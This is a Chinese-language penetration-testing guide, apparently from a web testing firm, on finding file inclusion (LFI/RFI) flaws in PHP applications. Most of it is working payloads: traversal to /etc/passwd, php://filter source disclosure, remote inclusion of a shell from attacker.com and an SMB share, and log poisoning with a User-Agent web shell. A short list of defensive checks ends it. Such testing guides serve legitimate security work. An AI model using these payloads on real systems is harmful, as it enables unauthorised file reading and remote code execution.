第三方网站测评:【WEB应用文件包含漏洞(LFI/RFI)的测试步骤】
文件包含漏洞分为本地文件包含(LFI)和远程文件包含(RFI)两类。LFI允许读取服务器本地文件,RFI可执行远程服务器上的恶意代码。PHP应用中include()、require()等函数未正确过滤用户输入时易产生此类漏洞。
检测URL中可能包含文件的参数,常见特征如下:
参数名包含file、path、page、include等关键词
参数值为文件路径格式(如.php、.inc、.html)
参数值呈现目录遍历特征(../或..\)
使用Burp Suite抓取所有请求,筛选出可能包含文件操作的参数。对每个可疑参数进行基础测试:
如:
https://www.zmtests.com/d.php?file=../../../../etc/passwd
https://www.zmtests.com/d.php?page=php://filter/convert.base64-encode/resource=index.php
使用空字节截断绕过扩展名限制(PHP<5.3.4):
如:
https://www.zmtests.com/d.php?file=../../etc/passwd%00
https://www.zmtests.com/d.php?file=....//....//etc/passwd
利用PHP包装器读取源码:
如:
php://filter/convert.base64-encode/resource=index.php
php://filter/read=string.rot13/resource=config.php
RFI测试:确认服务器配置允许远程包含(allow_url_include=On)。
测试步骤:
https://www.zmtests.com/d.php?file=http://attacker.com/shell.txt
https://www.zmtests.com/d.php?page=\\attacker.com\share\shell.php
使用SMB协议绕过域名限制:
如:https://www.zmtests.com/d.php?file=\\\\192.168.1.100\\share\\shell.php
日志注入,当直接文件包含不可行时,尝试通过User-Agent或Referer注入PHP代码
post:
GET /vulnerable.php?file=../../../var/log/apache2/access.log HTTP/1.1
User-Agent: <?php system($_GET['cmd']);?>
使用UTF-16编码绕过过滤:
如:
https://www.zmtests.com/d.php?file=....//....//etc/passwd
https://www.zmtests.com/d.php?file=..\xc0\xaf..\xc0\xafetc/passwd
防护措施:
1.检查是否过滤../等特殊字符
2.验证白名单机制是否严格
3.测试文件扩展名限制是否可绕过
4.确认服务器配置已关闭allow_url_include